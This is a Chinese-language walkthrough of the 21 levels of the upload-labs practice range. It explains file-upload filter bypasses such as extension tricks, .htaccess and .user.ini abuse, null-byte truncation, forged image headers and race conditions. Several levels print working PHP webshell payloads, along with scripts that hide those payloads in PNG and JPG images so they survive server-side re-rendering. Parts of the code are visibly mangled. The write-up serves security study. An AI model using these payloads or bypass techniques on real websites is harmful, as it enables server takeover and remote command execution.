upload-labs靶场分析

upload-labs靶场分析

1、Pass-01

这里在客户端(本地浏览器)对上传的文件做了限制。

在这里插入图片描述

一般都是通过 JS 限制上传的文件类型,对于这种情况,我们可以采用以下几种方式绕过

  • 修改JS文件
  • 上传png后缀的webshell,代理抓包,修改上传的文件后缀 (推荐)
  • 禁用js

在火狐上测试修改js文件(删除触发后缀检查的事件)

在这里插入图片描述

成功上传

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-e6agaSMt-1679110355436)(img/image-20230123225419316.png)]

注意:这里测试谷歌浏览器和Edge浏览器都不行(截止2022年最新版)

也可以抓包修改后缀(先以图片后缀上传)

在这里插入图片描述

成功上传

在这里插入图片描述

2、Pass-02

这里前端没有做任何限制,但是后端限制了上传文件的类型

在这里插入图片描述

需要抓包修改Content-Type(MIME类型)

在这里插入图片描述

成功上传

在这里插入图片描述

3、Pass-03

这里前端没有做任何限制,但在后端对文件名后缀做了黑名单限制。并且过滤了::$DATA,而且会对文件名后缀转化为小写,这里不能大小写文件名后缀进行绕过了

在这里插入图片描述

对于黑名单限制上传文件后缀的 可以通过以下几种方式绕过

  • 通过使用可被执行但不常见的后缀名,比如 php5,shtml等等
  • 上传恶意的配置文件(Apache .htaccess) 欺骗服务器将任意自定义文件扩展名映射到可知执行的MIME类型
  • 利用后端解析差异绕过限制
    • 添加尾随字符,一些组件会去除或忽略尾随空格、点等:exploit.php. /exploit.php+空格
    • 对点,斜杠 使用URL 编码, 如果验证文件扩展名时没有解码,在服务端被解码,绕过黑名单限制, exploit%2Ephp
    • 在文件扩展名前添加分号或 URL 编码的空字节字符。如果验证是用 PHP 或 Java 等高级语言编写的,但服务器使用 C/C++ 中的低级函数处理文件,例如,这可能会导致文件名结尾出现差异:exploit.asp;.jpg或exploit.asp%00.jpg

但这里黑名单限制的并不完全,我们可以使用php5、shtml等后缀。这有一个前提,是apache的httpd.conf中有如下配置代码

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

包含的后缀才能用,我搭建的环境中仅仅有.php .phtml两个

在这里插入图片描述

我这里可以使用还没被过滤的.phtml,需要把这个设置打开(去掉#号)。如果要解析php5等文件加上即可

成功上传

在这里插入图片描述

我们注意到这里后端代码过滤掉了::$DATA,我们可以双写这个绕过

在这里插入图片描述

成功上传

在这里插入图片描述

删掉php后缀后面的符号即可正常访问

在这里插入图片描述

上传.htaccess文件绕过黑名单参照Pass-04

4、Pass-04

这里同样对文件名后缀做了黑名单限制,与上一关不同这里限制的更全,像php5、phtml这样的后缀名都被限制了。同样转换文件后缀名全为小写,并过滤::$DATA字符

在这里插入图片描述

这里同样可以使用::$DATA双写绕过过滤,上传文件。具体参照Pass-03

这里和Pass-03还都可以上传.htaccess文件
所以可利用该文件解析规则增加新的可执行的扩展名.aaa绕过,该文件内容如下:

AddType application/x-httpd-php .aaa

上传成功后,可以上传后缀为aaa的文件,后端会解析为php文件

在这里插入图片描述

5、Pass-05

这里在Pass-04的基础上把.htaccess加进了黑名单

在这里插入图片描述

补充一点:(前面几关也一样)这里同样可以使用::$DATA双写绕过过滤,上传文件。但也可以使用点+空格+点绕过(shell.php. .)

在这里插入图片描述

后端程序先过滤点再过滤空格最后留下shell.php.

由于Windows系统特性,该文件最后的点会自动过滤掉,因此该文件名最后就变成了shell.php

在这里插入图片描述

当使用CGI/FastCGI 来解析php时,php会优先搜索目录下所有的.ini文件,并应用其中的配置。类似于apache的.htaccess,但语法与.htacces不同,语法与php.ini一致。因nginx实际上只是起到转发的作用,实际解析一般为php-fpm或fastcgi来解析,所以在.user.ini中写如auto_prepend_file=test.jpg,之后上传.user.ini与test.jpg,过一段时间等待.user.ini被加载后,会导致每个php文件解析之前先将test.jpg当作php解析

.user.ini文件控制的分为比.htaccess配置文件分为更广,只要使用PHP语言的网站都有影响
重要配置项:

auto_prepend_file=文件名:在页面头部加载的文件
auto_append_file=文件名:在页面尾部加载的文件

**注意:**利用.user.ini上传条件需要是后端使用的serverAPI为fastcgi(phpstudy中php5.4.45使用的api是apache 2.0 handler,换成php 5.4.45-nts版即可)

在这里插入图片描述

示例:

先上传.user.ini文件

在这里插入图片描述

在上传后缀名为jpg的木马文件

访问readme.php即可(这里利用过程可以理解为文件包含)

在这里插入图片描述

6、Pass-06

在上一关的基础上这里还过滤了.ini文件后缀

在这里插入图片描述
在这里插入图片描述

同时还删掉了对文件后缀的小写转化。因为黑名单中的后缀名是小写的,所以这里可以大小写绕过

在这里插入图片描述

7、Pass-07

虽然这里对文件后缀黑名单的限制比较全面,且会对后缀进行小写转化,但这里是没有对后缀首尾的空格进行过滤,

在这里插入图片描述

因此可以在后缀后面加入空格使其绕过黑名单的限制

在这里插入图片描述
在这里插入图片描述

上传成功

8、Pass-08

黑名单比较全,但这里没有过滤点 .(其实就算和前面的一样过滤了点,也是可以绕过的。参考Pass-05)

在这里插入图片描述

在要上传的文件名后面加上一个点,即可绕过黑名单的限制。

在这里插入图片描述

上传成功

在这里插入图片描述

这里利用了windows特性,会自动过滤点(你可以尝试在桌面建个文件在后缀名后加个点,会发现确定后自动消掉了)

9、Pass-09

黑名单依旧很全,而且过滤了点、空格、转化成小写。但是没有过滤::$DATA

在这里插入图片描述

在window的时候如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

例如:webshell.php::$DATA Windows会自动去掉末尾的::$DATA变成webshell.php

在后缀名后加上::$DATA,即可绕过黑名单

在这里插入图片描述

成功上传(上传后::$DATA没了)

在这里插入图片描述

不过即使像前面一样过滤了::$DATA也可以双写绕过,参照Pass-03

10、Pass-10

这里需要用到前面的点+空格+点的绕过方法了。这里使用 deldot() 删除文件名末尾的点,deldot() 函数从末尾向前检测,检测到第一个点后,会继续向前检测,但遇到空格会停下来

在这里插入图片描述

可以构造文件名: shell.php. . 绕过检测,参照Pass-05

在这里插入图片描述

成功上传

在这里插入图片描述

11、Pass-11

这里会根据黑名单替换文件名中的字符(后缀)

在这里插入图片描述
在这里插入图片描述

源码中使用 str_ireplace 不区分大小写替换,只是替换了一次,我们可以利用双写绕过检查

在这里插入图片描述
在这里插入图片描述

双写php后缀绕过,示例:shell.pphphp

在这里插入图片描述
在这里插入图片描述

12、Pass-12

这里的上传路径可控

在这里插入图片描述
在这里插入图片描述

这里可以使用%00截断来绕过

%00只能用于php版本低于5.3的,且php.ini中的magic_quotes_gpc设置为Off。他的作用例如你上传一个11.php的文件,但是服务器解析成11.php12345677.php,而加上11.php%00后,会自动截断后面的文件名。

在这里插入图片描述

成功上传

在这里插入图片描述
在这里插入图片描述

13、Pass-13

这里稍有不同,虽然也可以控制上传路径,但是通过POST方法提交

在这里插入图片描述

这里还是利用截断的方法去绕过过滤。不过需要注意的是两个截断有点区别,通过get方式是在url的参数中添加%00。这是因为%00通过get方式传递到服务器会被自动解码,所以就变成了ascii码中数值0对应的那个字符(null),这才能达到截断的目的。

但是如果是通过post的话,加入%00不会别服务器解码,只会原样被参数变量接收。所以这里要需要先解码,可以利用burp直接解码,也可以通过修改post数据的十六进制来达到截断的目的。

在这里插入图片描述

成功上传

在这里插入图片描述

14、Pass-14

这里会读取文件内容前两个字节(文件头),判断是否为jpg、png、gif三类文件,否则不允许上传

在这里插入图片描述

源码读取前2个字节判断上传文件的类型,判断通过后,便重新给文件赋予新的后缀名

upload-labs提供了一个 include.php文件,存在文件包含漏洞,可以利用文件包含漏洞测试上传的文件

构造:include.php?file=upload/shell.jpg ,include 会以本文的形式读取shell.jpg的内容,这样存在于shell.jpg里的一句话木马就可以执行

在这里插入图片描述

图片文件头格式:

文件头部格式:https://blog.csdn.net/xiangshangbashaonian/article/details/80156865

PNG文件头: 89 50 4E 47 0D 0A 1A 0A

JPG文件头: FF D8 FF

GIF (gif)文件头:47494638 (字符即:GIF89a)

因为这里不检查图片内容,只要添加符合条件的文件头即可

gif图片木马上传绕过文件头检查

在这里插入图片描述

成功上传后会重命名。成功包含

在这里插入图片描述

jpg图片木马

抓包在图片木马前面加上jpg文件头(十六进制为:ff d8 ff)

在这里插入图片描述

成功包含

在这里插入图片描述

png图片木马(文件头十六进制:89 50 4E 47)

在这里插入图片描述

成功包含

在这里插入图片描述

15、Pass-15

这里使用getimagesize获取图片类型大小等信息。

image_type_to_extension — 根据指定的图像类型返回对应的后缀名。

在这里插入图片描述
在这里插入图片描述

这里绕过方法同Pass-14

在这里插入图片描述

16、Pass-16

这里使用exif_imagetype() 判断一个图像的类型,读取一个图像的第一个字节并检查其签名。

本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 [$_SERVER’HTTP_ACCEPT’] 结合使用来检查浏览器是否可以显示某个指定的图像。

需要开启 php_exif模块

在这里插入图片描述

绕过方法同Pass-14

开启php_exif模块方法

在这里插入图片描述

成功利用

在这里插入图片描述

17、Pass-17

imagecreatefromjpeg()函数可以从jpeg文件或者是URL中获取图像,使用该函数可以将一个图像资源化,以便于后期进一步处理。
该函数有一个返回值,如果该函数执行成功,则返回图片的资源标识符,如果该函数执行失败(比如打开的图片不存在,文件格式错误等等),则反馈false

imagejpeg()函数可以用来向浏览器或者文件中显示图像。该函数可以将其他格式的图片转化为jpeg格式,并更改图片质量。该函数对图片的内容会进行更改,及我们在文件上传中指的“二次渲染”

在这里插入图片描述

因为二次渲染,图片上传前后大小不一致,为了避免写入的一句话木马被删掉,需要找到一致保留的部分。不同类型的图片校验严格程度不一样,这里测试gif格式的文件校验最松,可以直接插空写入;png更严格一点,而jpg是最严格的(不允许损坏jpg文件)比较难写入一句话

gif图像文件图片木马生成

首先找到一个gif图片(这里二次渲染,gif图片上半部分基本保留,可以写入一句话)

在这里插入图片描述

写入后gif图像就失真了,但并不影响上传

在这里插入图片描述

成功执行命令

在这里插入图片描述

png图片木马生成(这里更为严格)

先正常上传一次图片然后下载回渲染后的图片做对比。发现png格式的变化很大。

最主要的是,png的格式校验要比gif严格许多,头部不变的空白部分是不能修改的,否则校验不会通过。

有两种解决方法,一种是将恶意代码写入png图片的PLTE数据块。并重新计算修改CRC校验值。如此可以绕过格式的校验。

第二种方法是写入IDAT数据块,有现成的国外大牛编写的php脚本,运行后会在同目录下生成一个png图片。直接上传即可,生成的png图片里面的恶意php代码是<?=$GET[0]($_POST[1]);?>。get提交0参数作为函数名,post提交1参数作为函数的参数

<?php$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,           0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) 
{   
    $r = $p[$y];   
    $g = $p[$y+1];   
    $b = $p[$y+2];   
    $color = imagecolorallocate($img, $r, $g, $b);   
    imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./shell.png');?>

成功上传

在这里插入图片描述

注意:payload中get获取的system和post获取的whoami组成:system(whoami);

jpg图片木马生成

和png一样,jpg对格式要求的很严格,这里同样使用现成的国外大牛编写的脚本。

<?php    /*
    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().    It is necessary that the size and quality of the initial image are the same as those of the processed image.
    1) Upload an arbitrary image via secured files upload script    2) Save the processed image and launch:    jpg_payload.php <jpg_name.jpg>
    In case of successful injection you will get a specially crafted image, which should be uploaded again.
    Since the most straightforward injection method is used, the following problems can occur:    1) After the second processing the injected data may become partially corrupted.    2) The jpg_payload.php script outputs "Something's wrong".    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
    Sergey Bobrov @Black2Fan.
    See also:    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
    */
    
    $miniPayload = "<?=phpinfo();?>";

    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) 
    {        
		die('php-gd is not installed');    
    }
    
    if(!isset($argv[1])) 
    {        
    	$argv[1]="shell.jpg";    
    	//die('php jpg_payload.php <jpg_name.jpg>');    
    }
    set_error_handler("custom_error_handler");
    for($pad = 0; $pad < 1024; $pad++) 
    {        
    	$nullbytePayloadSize = $pad;        
    	$dis = new DataInputStream($argv[1]);        
    	$outStream = file_get_contents($argv[1]);        
    	$extraBytes = 0;        
    	$correctImage = TRUE;
        if($dis->readShort() != 0xFFD8) 
        {            
        	die('Incorrect SOI marker');        
        }
		while((!$dis->eof()) && ($dis->readByte() == 0xFF)) 
        {            
        	$marker = $dis->readByte();            
        	$size = $dis->readShort() - 2;            
        	$dis->skip($size);            
        	if($marker === 0xDA) 
       		{                
        		$startPos = $dis->seek();                
        		$outStreamTmp =substr($outStream, 0, $startPos).$miniPayload . str_repeat("",$nullbytePayloadSize) . substr($outStream, $startPos);                
        		checkImage('_'.$argv[1], $outStreamTmp, TRUE);                						
				if($extraBytes !== 0) 
        		{                    
        			while((!$dis->eof())) 
        			{                        
        				if($dis->readByte() === 0xFF) 
        				{                            
        					if($dis->readByte !== 0x00) 
        					{                                
        						break;                            
        					}                        
        				}                    
        			}                   
        			$stopPos = $dis->seek() - 2;                    									
					$imageStreamSize = $stopPos - $startPos;                    						
					$outStream = substr($outStream, 0, $startPos) .$miniPayload .                         
					substr(str_repeat("",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);                
        				
        		} 
        		elseif($correctImage)
        		{                    
        			$outStream = $outStreamTmp;                
        		} 
        		else 
        		{                    
        			break;                
        		}                
        		if(checkImage('payload_'.$argv[1], $outStream)) 
        		{                    
        			die('Success!');                
        		} 
        		else 
        		{                    
        			break;                
        		}            
			}        
		}    
	}    
	unlink('payload_'.$argv[1]);    
	die("Something's wrong");
	function checkImage($filename, $data, $unlink = FALSE) 
	{        
  		global $correctImage;        
  		file_put_contents($filename, $data);        
  		$correctImage = TRUE;        
  		imagecreatefromjpeg($filename);        
  		if($unlink)            
  		unlink($filename);        
  		return $correctImage;    
    }
    function custom_error_handler($errno, $errstr, $errfile, $errline) 
    {        
    	global $extraBytes, $correctImage;        
    	$correctImage = FALSE;        
    	if(preg_match('/(d+) extraneous bytes before marker/', $errstr, $m)) 
    	{            
    		if(isset($m[1])) 
    		{                
    			$extraBytes = (int)$m[1];            
    		}        
    	}    
    }
    class DataInputStream 
    {        
    	private $binData;        
    	private $order;        
    	private $size;
        public function __construct($filename, $order = false, $fromString = false) 		{            
        	$this->binData = '';            
        	$this->order = $order;            
        	if(!$fromString) 
        	{                
        		if(!file_exists($filename) || !is_file($filename))                    					
				die('File not exists ['.$filename.']');                
        		$this->binData = file_get_contents($filename);            
        	} 
        	else 
        	{                
        		$this->binData = $filename;            
        	}            
        	$this->size = strlen($this->binData);        
    }
    public function seek() 
    {            
       	return ($this->size - strlen($this->binData));        
    }
    public function skip($skip) 
    {            
        $this->binData = substr($this->binData, $skip);        
    }
    public function readByte() 
    {            
        if($this->eof()) 
        {                
        	die('End Of File');            
        }            
        $byte = substr($this->binData, 0, 1);            
        $this->binData = substr($this->binData, 1);            
        return ord($byte);        
    }
    public function readShort() 
    {            
        if(strlen($this->binData) < 2) 
        {                
        	die('End Of File');            
        }            
        $short = substr($this->binData, 0, 2);            
        $this->binData = substr($this->binData, 2);            
        if($this->order) 
        {                
        	$short = (ord($short[1]) << 8) + ord($short[0]);            
        } 
        else 
        {                
        	$short = (ord($short[0]) << 8) + ord($short[1]);            
        }            
        return $short;        
    }
    public function eof() 
    {            
        return !$this->binData||(strlen($this->binData) === 0);        
    }    
   }
?>

**使用方法:**脚本同目录里放一个shell.jpg,然后运行脚本(可以使用web端访问一下)。如果出现Success,那同目录下会生成一个payload_shell.jpg,拿去直接用就行了,payload是脚本开头的$minipayload变量的内容,可以自行修改。

jpg图片修改起来比较困难,有时会遇到脚本提示something wrong。那就需要换一张jpg图片。即使脚本成功生成了,也不代表就一定能包含利用。有可能payload中的哪个字符就被吞掉了,这时也要换一张图片。

成功上传(技巧:先上传一张图片,二次渲染后再写入payload成功率更高)

在这里插入图片描述

另一个方法:在move_uploaded_file($tmpname,$target_path)返回true的时候(二次渲染前),就已经成功将图片马上传到服务器了(形成临时文件),可以利用这个上传的间隙去执行php文件,实现绕过。也就是条件竞争

所以我们可以利用这个上传的间隙去执行php文件,实现绕过。

在这里插入图片描述

那我们可以直接上传图片马(使用burp不断重发),另一边用python脚本不断访问包含的url,总有一次会在图片马被删除前访问成功。py脚本代码如上。

import requestsurl1 = "http://192.168.110.129/upload-labs/include.php?file=./upload/shell.gif"while True:  # 定义死循环  html = requests.get(url1)

当然利用的代码也要改成访问一次之后就能永久生效的,这里是改成了向upload目录下写文件。

GIF89a<?php file_put_contents('./upload/shell.php','<?php phpinfo();?>');?>

18、Pass-18

这里先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,访问webshell。

在这里插入图片描述

条件竞争漏洞:由于服务器端在处理不同的请求时是并发进行的,因此如果并发处理不当或相关操作顺序设计的不合理时,将会导致此类问题的发生

参考:Pass-17

19、Pass-19

对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,从而上传成功。

在这一关要注意上传后的文件名:uploadxxx.jpg(比如上传shell.php即为uploadshell.php)

成功上传还没重命名的,通过include.php实现包含,如果要直接访问的话,可以利用Apache解析漏洞

这关要注意的是不能使用图片的后缀,因为apache的多后缀解析漏洞的要点是要挑选一个apache不认识的后缀在最后,图片的后缀apache都是认识并能正确解析的,所以我们这里用了7z后缀,这也是这关作者提供这么多白名单后缀的原因。

具体参考:Pass-17

20、Pass-20

这里保存名称可控(类似于前面的路径可控),可以使用%00截断,除此之外,还可使用以下方法(前面介绍过)

.user.ini绕过、大小写混淆绕过、末尾加空格或点或::$DATA绕过、apache多后缀解析绕过、POST型00截断绕过还有apache换行解析漏洞.php%0A会被当作.php

在这里插入图片描述

在这里插入图片描述

此外补充一点:move_uploaded_file会忽略末尾的/. (可以利用这一点绕过)

在这里插入图片描述
在这里插入图片描述

21、Pass-21

这里使用了白名单限制了上传文件的类型

代码逻辑:

检查MIME (通过抓包改Content-Type 绕过)、判断 POST参数 save_name 是否为空、判断$file 是否为数组,不是数组以 .分割化为数组、取 $file 最后一个元素,作为文件后缀进行检查、取 file 第一位和第file[count($file) - 1]作为文件名和后缀名保存文件

在这里插入图片描述

绕过逻辑:

上传 webshell.php, 修改save_name 为数组 绕过对file 的切割,最后file 最后一个元素是 save_name[2] = jpg 绕过后缀检测 , 然后reset($file) = webshell.php

$file[1] 没有定义为空,count($file) 的值为$file[count($file) - 1] = $file[1]

所以最后上传的文件为webshell.php

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值